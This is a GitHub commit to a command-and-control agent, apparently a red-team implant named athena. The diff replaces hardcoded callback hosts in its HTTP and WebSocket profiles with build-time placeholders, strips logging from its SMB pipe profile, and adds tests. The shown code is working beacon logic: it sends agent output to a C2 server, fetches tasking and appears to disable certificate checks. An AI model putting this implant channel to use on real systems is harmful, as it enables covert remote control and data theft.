Skip to content

Commit

Permalink
moved Agent.Tests.Defender to its own project, added checks for platf…
Browse files Browse the repository at this point in the history
…orm for OS specific tests. Added build tests for profiles
  • Loading branch information
checkymander committed Feb 16, 2024
1 parent c1a1029 commit 2ccf227
Show file tree
Hide file tree
Showing 20 changed files with 202 additions and 47 deletions.
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
using Agent.Interfaces;
using Agent.Interfaces;
using Agent.Models;
using System.Net;
using Agent.Utilities;
Expand Down Expand Up @@ -34,18 +34,18 @@ public HttpProfile(IAgentConfig config, ICryptoManager crypto, ILogger logger, I
this.crypt = crypto;
this.logger = logger;
this.messageManager = messageManager;
int callbackPort = Int32.Parse("80");
string callbackHost = "http://10.30.26.108";
string getUri = "q";
string queryPath = "index";
string postUri = "data";
this.userAgent = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
this.hostHeader = "";
int callbackPort = Int32.Parse("callback_port");
string callbackHost = "callback_host";
string getUri = "get_uri";
string queryPath = "query_path_name";
string postUri = "post_uri";
this.userAgent = "%USERAGENT%";
this.hostHeader = "%HOSTHEADER%";
this.getURL = $"{callbackHost.TrimEnd('/')}:{callbackPort}/{getUri}?{queryPath}=";
this.postURL = $"{callbackHost.TrimEnd('/')}:{callbackPort}/{postUri}";
this.proxyHost = ":";
this.proxyPass = "";
this.proxyUser = "";
this.proxyHost = "proxy_host:proxy_port";
this.proxyPass = "proxy_pass";
this.proxyUser = "proxy_user";

//Might need to make this configurable
ServicePointManager.ServerCertificateValidationCallback =
Expand Down Expand Up @@ -114,14 +114,14 @@ public async Task StartBeacon()
await Task.Delay(Misc.GetSleep(this.agentConfig.sleep, this.agentConfig.jitter) * 1000);
try
{
string response = await messageManager.GetAgentResponseStringAsync();
string responseString = await this.Send(response);
//Console.WriteLine(responseString);
string responseString = await this.Send(await messageManager.GetAgentResponseStringAsync());

if (String.IsNullOrEmpty(responseString))
{
this.currentAttempt++;
continue;
}

GetTaskingResponse gtr = JsonSerializer.Deserialize(responseString, GetTaskingResponseJsonContext.Default.GetTaskingResponse);
if (gtr == null)
{
Expand All @@ -148,27 +148,23 @@ public async Task StartBeacon()
}
internal async Task<string> Send(string json)
{
//Console.WriteLine(json);
try
{
//This will encrypted if AES is selected or just Base64 encode if None is referenced.
json = this.crypt.Encrypt(json);


HttpResponseMessage response;

if (json.Length < 2000) //Max URL length
{
//logger.Log($"Sending as GET");
response = await this._client.GetAsync(this.getURL + json.Replace('+', '-').Replace('/', '_'), cancellationTokenSource.Token);
}
else
{
//logger.Log($"Sending as POST");
response = await this._client.PostAsync(this.postURL, new StringContent(json), cancellationTokenSource.Token);
}

//logger.Log($"Got Response with code: {response.StatusCode}");

string strRes = await response.Content.ReadAsStringAsync();

//This will decrypt and remove the UUID if AES is referenced, or just remove the UUID if None is referenced.
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
using Agent.Interfaces;
using Agent.Interfaces;
using Agent.Models;
using Agent.Models;
using Agent.Models;
Expand Down Expand Up @@ -93,7 +93,6 @@ public async Task StartBeacon()
}
catch (Exception e)
{
logger.Log(e.ToString());
this.currentAttempt++;
}

Expand All @@ -107,7 +106,6 @@ internal async Task<string> Send(string json)
{
if (!connected)
{
logger.Log($"Not connected, waiting for connection to pipe.");
onClientConnectedSignal.WaitOne();
}

Expand All @@ -131,7 +129,6 @@ internal async Task<string> Send(string json)
{
sm.final = true;
}
logger.Log($"Sending message to pipe: {part.Length} bytes. (Final = {sm.final})");

await this.serverPipe.WriteAsync(sm);
}
Expand All @@ -148,7 +145,6 @@ internal async Task<string> Send(string json)
public bool StopBeacon()
{
this.cancellationTokenSource.Cancel();
logger.Log($"Beacon stopped..");
return true;
}

Expand Down Expand Up @@ -181,7 +177,6 @@ private async Task SendUpdate()

private async Task OnMessageReceive(ConnectionMessageEventArgs<SmbMessage> args)
{
logger.Log($"Message received from pipe.");
//Event handler for new messages
try
{
Expand All @@ -196,7 +191,6 @@ private async Task OnMessageReceive(ConnectionMessageEventArgs<SmbMessage> args)

if (args.Message.final)
{
logger.Log($"Message was the last one.");
this.OnMessageReceiveComplete(this.partialMessages[args.Message.guid].ToString());
this.partialMessages.TryRemove(args.Message.guid, out _);
}
Expand All @@ -205,21 +199,18 @@ private async Task OnMessageReceive(ConnectionMessageEventArgs<SmbMessage> args)
}
catch (Exception e)
{
logger.Log($"Error in SMB Forwarder: {e}");
}
}

private async Task OnClientConnection()
{
logger.Log($"Client connected to pipe.");
onClientConnectedSignal.Set();
this.connected = true;
await this.SendUpdate();
}

private async Task OnClientDisconnect()
{
logger.Log($"Client disconnected from pipe.");
this.connected = false;
onClientConnectedSignal.Reset();
this.partialMessages.Clear();
Expand All @@ -230,22 +221,21 @@ private async void OnMessageReceiveComplete(string message)
//If we haven't checked in yet, the only message this can really be is a checkin.
if (!checkedin)
{
logger.Log($"Handling checkin message");
cir = JsonSerializer.Deserialize(this.crypt.Decrypt(message), CheckinResponseJsonContext.Default.CheckinResponse);
checkinAvailable.Set();
return;
}

//If we make it to here, it's a tasking response
GetTaskingResponse gtr = JsonSerializer.Deserialize(this.crypt.Decrypt(message), GetTaskingResponseJsonContext.Default.GetTaskingResponse);
logger.Log($"Handling get tasking.");
if (gtr == null)
{
return;
}

TaskingReceivedArgs tra = new TaskingReceivedArgs(gtr);
this.SetTaskingReceived(this, tra);
//test
}
}
}
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
using Agent.Interfaces;
using Agent.Interfaces;
using Agent.Models;
using Agent.Utilities;
using System.Net.WebSockets;
Expand All @@ -17,7 +17,7 @@ public class Websocket : IProfile
private string endpoint { get; set; }
private string userAgent { get; set; }
private string hostHeader { get; set; }
public int connectAttempt { get; set; }
public int connectAttempt { get; set; }
public int maxAttempts { get; set; }
private WebsocketClient _client { get; set; }
private CancellationTokenSource cancellationTokenSource { get; set; } = new CancellationTokenSource();
Expand All @@ -31,12 +31,12 @@ public Websocket(IAgentConfig config, ICryptoManager crypto, ILogger logger, IMe
this.crypt = crypto;
this.logger = logger;
this.messageManager = messageManager;
int callbackPort = Int32.Parse("8081");
string callbackHost = "ws://10.30.26.108";
this.endpoint = "socket";
int callbackPort = Int32.Parse("callback_port");
string callbackHost = "callback_host";
this.endpoint = "ENDPOINT_REPLACE";
this.url = $"{callbackHost}:{callbackPort}/{this.endpoint}";
this.userAgent = "USER_AGENT";
this.hostHeader = "";
this.hostHeader = "%HOSTHEADER%";
this.maxAttempts = 5;
this.connectAttempt = 0;

Expand Down Expand Up @@ -77,7 +77,6 @@ public Websocket(IAgentConfig config, ICryptoManager crypto, ILogger logger, IMe
checkinAvailable.Set();
return;
}
logger.Log(this.crypt.Decrypt(wm.data));

GetTaskingResponse gtr = JsonSerializer.Deserialize(this.crypt.Decrypt(wm.data), GetTaskingResponseJsonContext.Default.GetTaskingResponse);
TaskingReceivedArgs tra = new TaskingReceivedArgs(gtr);
Expand All @@ -88,12 +87,9 @@ public Websocket(IAgentConfig config, ICryptoManager crypto, ILogger logger, IMe

this._client.ReconnectionHappened.Subscribe(info =>
{
logger.Log("Reconnected to server");
logger.Log(info.Type.ToString());
});
this._client.DisconnectionHappened.Subscribe(info => {
logger.Log("Disconnected from server");
logger.Log(info.Exception.ToString());

});
this._client.Start().Wait();

Expand Down Expand Up @@ -178,4 +174,4 @@ private async Task<bool> Send(string json)
return true;
}
}
}
}
7 changes: 7 additions & 0 deletions Payload_Type/athena/athena/agent_code/Agent.sln
Original file line number Diff line number Diff line change
Expand Up @@ -161,6 +161,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Tests", "Tests", "{2B702357
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Agent.Tests", "Tests\Agent.Tests\Agent.Tests.csproj", "{4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Agent.Tests.Defender", "Tests\Agent.Tests.Defender\Agent.Tests.Defender.csproj", "{84378312-9D23-4DFF-ACA2-587EC463BB79}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Expand Down Expand Up @@ -459,6 +461,10 @@ Global
{4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4C02C683-28E5-4CA9-B4BF-CD429A08DEC0}.Release|Any CPU.Build.0 = Release|Any CPU
{84378312-9D23-4DFF-ACA2-587EC463BB79}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{84378312-9D23-4DFF-ACA2-587EC463BB79}.Debug|Any CPU.Build.0 = Debug|Any CPU
{84378312-9D23-4DFF-ACA2-587EC463BB79}.Release|Any CPU.ActiveCfg = Release|Any CPU
{84378312-9D23-4DFF-ACA2-587EC463BB79}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
Expand Down Expand Up @@ -540,6 +546,7 @@ Global
{1E847515-2E5B-48A3-B267-3800CFF98338} = {E014E0E5-A190-4AAF-A0E9-01DA299A4E21}
{D7F1F1D7-234E-4CE9-B1F4-6E3A1292BB5D} = {E014E0E5-A190-4AAF-A0E9-01DA299A4E21}
{4C02C683-28E5-4CA9-B4BF-CD429A08DEC0} = {2B702357-DFFB-40D0-B3F9-93D06FDAD37D}
{84378312-9D23-4DFF-ACA2-587EC463BB79} = {2B702357-DFFB-40D0-B3F9-93D06FDAD37D}
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {A98FF3E6-31F5-4EE0-BA47-B440723219ED}
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<TargetFramework>net7.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>

<IsPackable>false</IsPackable>
<IsTestProject>true</IsTestProject>
</PropertyGroup>

<ItemGroup>
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="17.6.0" />
<PackageReference Include="MSTest.TestAdapter" Version="2.2.10" />
<PackageReference Include="MSTest.TestFramework" Version="2.2.10" />
<PackageReference Include="coverlet.collector" Version="3.2.0" />
</ItemGroup>

<ItemGroup>
<Folder Include="DefenderTests\Checker\amsi\" />
</ItemGroup>

</Project>
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
global using Microsoft.VisualStudio.TestTools.UnitTesting;
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
namespace Agent.Tests.Defender
{
[TestClass]
public class UnitTest1
{
[TestMethod]
public void TestMethod1()
{
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -72,8 +72,4 @@
<ProjectReference Include="..\..\whoami\whoami.csproj" />
</ItemGroup>

<ItemGroup>
<Folder Include="DefenderTests\Checker\amsi\" />
</ItemGroup>

</Project>
Original file line number Diff line number Diff line change
Expand Up @@ -223,6 +223,13 @@ public void TestHandleNextChunkFailure()
[TestMethod]
public void TestUncPathParsing()
{

if (!OperatingSystem.IsWindows())
{
Assert.IsTrue(true);
return;
}

string hostName = "127.0.0.1";
string filePath = "C$\\Windows\\System32\\drivers\\etc\\hosts";
Dictionary<string, string> downloadParams = new Dictionary<string, string>()
Expand All @@ -243,6 +250,11 @@ public void TestUncPathParsing()
[TestMethod]
public void TestPathParsingUncWithFile()
{
if (!OperatingSystem.IsWindows())
{
Assert.IsTrue(true);
return;
}
string hostName = "127.0.0.1";
string filePath = "C$\\Windows\\System32\\drivers\\etc";
string fileName = "hosts";
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,48 @@
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;

namespace Agent.Tests.ProfileTests
{
//https://echo.free.beeceptor.com/
[TestClass]
public class HttpProfileTests
{
[TestMethod]
public void TestProfileReplaceAndBuild()
{
var path = Path.Combine(Directory.GetCurrentDirectory(), "..", "..", "..", "..", "..", "Agent.Profiles.Http");
var proj_path = Path.Combine(path, "Agent.Profiles.Http.csproj");
string[] oldContents = File.ReadAllLines(Path.Combine(path, "HttpProfile.cs"));
string[] replaceContents = File.ReadAllLines(Path.Combine(path, "Base.txt"));

File.WriteAllLines(Path.Combine(path, "HttpProfile.cs"), replaceContents);

string[] newContents = File.ReadAllLines(Path.Combine(path, "HttpProfile.cs"));

Assert.AreEqual(string.Join(Environment.NewLine,newContents), string.Join(Environment.NewLine, replaceContents));


Process p = Process.Start(new ProcessStartInfo()
{
FileName = "dotnet",
Arguments = $"build {proj_path}",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
});
while (!p.StandardOutput.EndOfStream)
{
string line = p.StandardOutput.ReadLine();
Console.WriteLine(line);
// do something with line
}
p.WaitForExit();
Assert.IsTrue(p.ExitCode == 0);

Console.WriteLine("Returning old values.");
File.WriteAllLines(Path.Combine(path, "HttpProfile.cs"), oldContents);
}
}
}
Loading

0 comments on commit 2ccf227

Please sign in to comment.